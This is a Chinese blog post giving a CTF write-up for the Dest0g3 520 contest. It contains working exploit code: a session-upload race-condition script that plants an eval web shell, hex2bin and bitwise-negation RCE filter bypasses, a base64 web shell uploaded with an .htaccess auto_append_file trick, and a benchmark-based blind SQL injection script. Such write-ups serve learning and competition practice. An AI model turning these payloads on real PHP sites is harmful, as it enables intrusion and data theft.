当前位置:网站首页>Dest0g3 520迎新賽
Dest0g3 520迎新賽
2022-06-13 08:18:00 【XINO丶】
這兩天期末,發點存貨
phpdest
文件競爭
import requests
import io
import threading
url = "http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/"
sessionID = "flag"
data = {
"cmd": "system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a'*1024*50)
resp = session.post(url=url,data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={
'file':('flag.txt',f)},cookies={
'PHPSESSID':sessionID})
def read(session):
while True:
resp = session.post(url='http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/?file=/tmp/sess_flag',data=data)
if 'flag.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("=========retry==========")
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,5):
threading.Thread(target=read, args=(session,)).start()
event.set()
EasyPHP
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
數報錯然後輸出 flag
ctf[]=123
SimpleRCE
hex2bin 繞過
https://www.pudn.com/news/62809145ebb030486d479342.html
可以看一下,裏面有
最後執行的是
aaa=hex2bin('73797374656d')('head /f*');
另一種方法
法二
最開始考慮的是無字母 rce,但發現或和异或都被 ban 了所以考慮—url取反繞過
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
funny_upload
對文件類型進行了檢測,改為jpg文件後,又對文件內容進行了檢測不能有<?,所以采用了base64結合.htaccess偽協議的方式進行繞過
1.jpg
PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+
.htaccess
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg
上傳成功後蟻劍鏈接即可
Really Easy SQL
sql盲注,sleep被過濾,用benchmark
import requests
import time
url="http://fec87fc0-85b0-4969-a9d2-7328b18dc98b.node4.buuoj.cn:81/"
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #flaggg,user
#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #cmd
payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid)
data={
'username': 'a',
'password': payload
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=1.5)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
time.sleep(0.2)
time.sleep(1)
边栏推荐
- The method of SolidWorks modifying text font in engineering drawing
- Determination of ranking
- Why do wholesalers use the order system
- Young's matrix to find whether a number exists
- 口碑好的食材配送信息化管理系统怎么样?
- Dfinity (ICP) basic development tutorial-5
- 23 | adventure and prediction (II): relay race in the assembly line
- 赋予代码生命力--读代码整洁之道
- Reverse order and comparison of strings
- Sizeof, strlen find character length
猜你喜欢

Microservice system architecture construction I: Environment Construction

EHD ether coin, the hottest dpoc mining project

AcWing 1977. Information relay (base ring tree, parallel search set)

Give code vitality -- the way to read code neatly

ERP basic data concept

Penetration problem (main directory, password explosion, database uploading Trojan horse)

Examination question bank and simulation examination for special operation certificate of safety management personnel of hazardous chemical business units in 2022

1. fabric2.2 comprehensive learning - Preface

How about a well-known food material distribution information management system?

酒水批发行业应当如何高效管理商品与库存
随机推荐
How to modify desktop path in win10 system
Reverse order and comparison of strings
How about a well-known food material distribution information management system?
SQL injection experiment
STM32CubeMX的下载和安装方式
Methods of importing and exporting settings in Altium Designer
Founder of Starbucks: no longer open "public toilets" to non store consumers for safety reasons
Practice makes sense -- your byte alignment and stack cognition may be wrong
Cosmos star application case
免费文件服务器储存技术
ERP 基础数据 概念
23 | adventure and prediction (II): relay race in the assembly line
Microservice system architecture construction I: Environment Construction
Set implements list search and exclusion
[pytorch] pytorch0.4.0 installation tutorial and GPU configuration collection (including test code)
微服务系统架构搭建一:环境搭建
AcWing 1977. Information relay (base ring tree, parallel search set)
Operation of simulated examination platform for examination question bank of G3 boiler water treatment operation certificate in 2022
Leetcode- sort arrays by parity
P7712 [Ynoi2077] hlcpq